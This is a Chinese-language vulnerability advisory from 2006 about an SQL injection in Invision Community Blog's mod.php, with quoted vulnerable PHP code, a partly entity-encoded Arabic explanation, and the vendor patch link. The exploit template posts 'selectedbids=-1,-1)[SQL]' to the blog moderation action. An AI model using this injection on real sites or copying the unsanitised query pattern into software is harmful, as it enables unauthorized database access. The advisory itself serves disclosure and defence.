首页 -> 安全研究

安全研究

安全漏洞
Invision Community Blog mod.php远程SQL注入漏洞

发布日期:2006-05-05
更新日期:2006-05-08

受影响系统:
Invision PS Invision Community Blog < 1.2.3
不受影响系统:
Invision PS Invision Community Blog 1.2.3
描述:
BUGTRAQ  ID: 17851

Invision Community Blog是可以直接集成于Invision Power Board的博客系统。

Invision Community Blog的mod.php文件的do_mmod()函数中存在SQL注入漏洞,允许攻击者远程执行任意命令。

<*来源:o.y.6 (o.y.6@hotmail.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114711749815377&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

* Arabic *
[/LEFT]
[RIGHT]
&#1575;&#1604;&#1605;&#1578;&#1594;&#1610;&#1585; $ids &#1594;&#1610;&#1585; &#1605;&#1601;&#1604;&#1578;&#1585; &#1593;&#1606; &#1591;&#1585;&#1610;&#1602; &#1575;&#1604;&#1583;&#1575;&#1604;&#1607; intval &#1608;&#1607;&#1608; &#1576;&#1588;&#1603;&#1604; &#1605;&#1589;&#1601;&#1608;&#1601;&#1607; .. &#1604;&#1607;&#1584;&#1575; &#1575;&#1604;&#1587;&#1576;&#1576; &#1605;&#1605;&#1603;&#1606; &#1593;&#1605;&#1604; ÷&#1581;&#1602;&#1606;&#1607;
[/RIGHT]
[LEFT]
[php]
$ids = array();
$ids = explode( ',', $this->ipsclass->input['selectedbids'] );

...

$ids = implode( ',', $ids );

...

$this->ipsclass->DB->do_update ( 'blog_blogs', array ( 'blog_disabled' => 1 ), "blog_id IN ({$ids})" );
$this->ipsclass->DB->simple_construct ( array ( 'select' => 'member_id', 'from' => 'blog_blogs', 'where' => "blog_id IN ({$ids})" ) );
$this->ipsclass->DB->simple_exec();

....

$this->ipsclass->DB->do_update ( 'blog_blogs', array ( 'blog_disabled' => 0 ), "blog_id IN ({$ids})");
$this->ipsclass->DB->simple_construct ( array ( 'select' => 'member_id', 'from' => 'blog_blogs', 'where' => "blog_id IN ({$ids})" ) );

....

[/php]
[/LEFT]
[RIGHT]
*&#1575;&#1604;&#1575;&#1587;&#1578;&#1594;&#1604;&#1575;&#1604;*
[/RIGHT]
[LEFT]
Exploit :-

    GET ^
        /IBP/index.php?
    POST ^
        automodule=blog&req=blogmmod&auth_key=[auth_key]&selectedbids=-1,-1)[SQL]&blogact=unpin
[/LEFT]

建议:
厂商补丁:

Invision PS
-----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://forums.invisionpower.com/index.php?showtopic=214248&pid=1383071&st=0&#entry1383071

浏览次数:3723
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障